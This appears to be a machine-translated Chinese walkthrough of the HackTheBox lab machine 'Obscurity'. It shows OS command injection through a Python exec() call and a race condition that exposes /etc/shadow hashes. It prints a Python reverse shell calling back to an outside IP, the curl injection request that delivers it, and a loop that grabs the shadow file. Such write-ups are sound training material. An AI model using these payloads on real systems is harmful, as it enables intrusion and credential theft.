HackTheBox。模糊的通道。操作系统命令注入和竞争条件

图片

我将继续发布从HackTheBox网站发送的用于进一步处理的解决方案

在本文中,我们利用python代码中的漏洞,还执行了竞态条件攻击。

通过VPN连接到实验室。建议不要从可用对您重要的数据的工作计算机或主机进行连接,因为您会与知道信息安全领域知识的人进入专用网络:)

组织信息
, , Telegram . , , .

. , - , .

侦察


这台机器的IP地址为10.10.10.168,我将其添加到/ etc / hosts。

10.10.10.168    obscurity.htb

首先,我们扫描开放端口。由于使用nmap扫描所有端口需要很长时间,因此我将首先使用masscan进行此操作。我们以每秒500个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.168 --rate=500

图片

现在,有关在端口上运行的服务的更多详细信息,我们将使用-A选项运行扫描。

nmap -A obscurity.htb -p22,8080

图片

主机运行SSH服务和Web服务器。我们去看网络。

图片

因此,我们有:

  1. 录音服务器
  2. 使用加密
  3. SuperSecureServer.py文件中某个未知目录中的服务器代码。

由于我们知道文件的名称,因此我们遍历目录。让我们用wfuzz做到这一点。作为参数,我们传递要忽略的字典,URL和响应代码。

wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py --hc 404

图片

我们找到这个目录。让我们下载服务器代码。

wget http://obscurity.htb:8080/develop/SuperSecureServer.py

入口点


我们打开并分析服务器。我们发现使用exec()函数具有潜在的危险。

图片

让我们在代码中添加一些行。

图片

因此,我们可以在本地启动服务器,然后查看exec()函数中包含的内容。让我们启动服务器并发送请求。

curl http://127.0.0.1:33333/asd

图片

curl "http://127.0.0.1:33333/asd'"

图片

curl "http://127.0.0.1:33333/asd''"

图片

因此,我们进行了OS Command注入。

curl "http://127.0.0.1:33333/asd';os.system(\"whoami\");'"

图片

我们将使用以下反向python shell。

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.60",4321));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

由于服务器代码已经包含必需模块的导入,因此我们从外壳程序中删除了它们的导入。我们也将引号和方括号转义。

curl "http://127.0.0.1:33333/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

图片

精细!一切都在本地计算机上运行。让我们对服务器执行此请求。

curl "http://obscurity.htb:8080/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

图片

我们有一个切入点。

用户


我们在服务器上四处张望,并在用户的主目录中找到可读的文件。

图片

我们读取文件。

图片

因此,文件被加密。下载我们提供给本地主机的所有内容。如消息中所述,check.txt文件已加密,结果在out.txt中。让我们看看算法。

图片

因此,在加密期间,发生文本符号和密钥符号模255的相加,在解密时,将这些符号相减。

也就是说,([[check.txt] + [key])%255 = out.txt和([out.txt]-[key])%255 = check.txt。然后([out.txt]-[check.txt])%255 =键。

图片

图片

并查看关键。

图片

现在,在此密钥上,我们解密用户密码。

图片

我们使用此密码通过SSH连接并获取用户标记。

图片


让我们看一下sudo设置,即用户robert是否可以在没有密码的情况下在sudo下执行任何命令。

图片

让我们看一下代码。该代码将需要身份验证数据。然后,它将/ etc / shadow文件的内容复制到/ tmp / SSH / *目录。然后它将验证身份验证数据并删除文件。

图片

图片

因此,在删除文件之前,我们必须设法从/ tmp / SSH / *复制文件。运行第二个终端并在其中执行无穷的读取周期。

for ((;;)) do cat /tmp/SSH/* 2>/dev/null && break ; done

现在运行程序,输入任何数据并查看哈希。

sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

图片

而且它们容易折断。

图片

我们以根的旗帜。

图片

您可以通过Telegram加入我们在这里,您可以找到有趣的资料,合并的课程以及软件。让我们建立一个社区,在这个社区中,会有一些精通IT领域的人,然后我们可以在任何IT和信息安全性问题上互相帮助。

All Articles